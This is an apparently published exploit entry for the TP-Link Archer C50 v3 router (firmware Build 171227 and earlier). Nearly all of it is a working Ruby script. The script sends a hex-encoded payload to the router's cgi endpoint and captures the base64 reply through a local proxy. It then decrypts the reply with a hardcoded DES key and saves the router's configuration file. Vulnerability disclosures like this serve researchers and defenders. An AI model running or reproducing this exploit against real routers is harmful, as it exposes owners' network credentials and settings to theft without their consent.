TP-Link Archer C50 Wireless Router 171227 CSRF

`# Exploit Title: TP-Link Archer C50 Wireless Router 171227 - Cross-Site Request Forgery (Configuration File Disclosure)  
# Date: 2018-11-07  
# Exploit Author: Wadeek  
# Vendor Homepage: https://www.tp-link.com/  
# Hardware Version: Archer C50 v3 00000001  
# Firmware Link: https://www.tp-link.com/download/Archer-C50_V3.html#Firmware  
# Firmware Version: <= Build 171227  
  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
url = "http://192.168.0.1:80/"  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
require('base64')  
require('openssl')  
require('mechanize')  
agent = Mechanize.new()  
# require HTTP Proxy (chunk error)  
agent.set_proxy("127.0.0.1", "8080")  
  
def scan(agent, url, path, query)  
begin  
puts(path)  
response = agent.post(url+path, query, {  
"User-Agent" => "",  
"Accept" => "*/*",  
"Referer" => "http://192.168.0.1/mainFrame.htm",  
"Content-Type" => "text/plain",  
"Connection" => "keep-alive",  
"Cookie" => ""  
})  
rescue Exception => e  
begin  
puts(e.inspect())  
#  
body = e.page().body()  
content = Base64.decode64(body.scan(/ZAP Error \[java\.io\.IOException\]\: Bad chunk size\: (.*)/).join())  
puts(body.inspect())  
cipher = OpenSSL::Cipher.new("des-ecb")  
cipher.key = "478DA50BF9E3D2CF"  
cipher.decrypt()  
output = cipher.update(content)  
#  
file = File.open("conf.bin.raw", "wb")  
file.write(output)  
file.close()  
rescue Exception => e  
puts(e)  
end  
puts("")  
end  
end  
  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
payload = "\x5b\x49\x47\x44\x5f\x44\x45\x56\x5f\x49\x4e\x46\x4f\x23\x30"+  
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c"+  
"\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x30\x2c\x34\xd\xa\x6d\x6f\x64"+  
"\x65\x6c\x4e\x61\x6d\x65\xd\xa\x64\x65\x73\x63\x72\x69\x70\x74"+  
"\x69\x6f\x6e\xd\xa\x58\x5f\x54\x50\x5f\x69\x73\x46\x44\xd\xa\x58"+  
"\x5f\x54\x50\x5f\x50\x72\x6f\x64\x75\x63\x74\x56\x65\x72\x73\x69"+  
"\x6f\x6e\xd\xa\x5b\x45\x54\x48\x5f\x53\x57\x49\x54\x43\x48\x23\x30"+  
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c"+  
"\x30\x2c\x30\x2c\x30\x5d\x31\x2c\x31\xd\xa\x6e\x75\x6d\x62\x65\x72"+  
"\x4f\x66\x56\x69\x72\x74\x75\x61\x6c\x50\x6f\x72\x74\x73\xd\xa\x5b"+  
"\x53\x59\x53\x5f\x4d\x4f\x44\x45\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c"+  
"\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x5d\x32"+  
"\x2c\x31\xd\xa\x6d\x6f\x64\x65\xd\xa\x5b\x2f\x63\x67\x69\x2f\x63\x6f"+  
"\x6e\x66\x65\x6e\x63\x6f\x64\x65\x23\x30\x2c\x30\x2c\x30\x2c\x30"+  
"\x2c\x30\x2c\x30\x23\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30"+  
"\x5d\x33\x2c\x30\xd\xa\x3d"  
#puts(payload)  
scan(agent, url, "cgi?1&1&1&8", payload)  
#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
  
`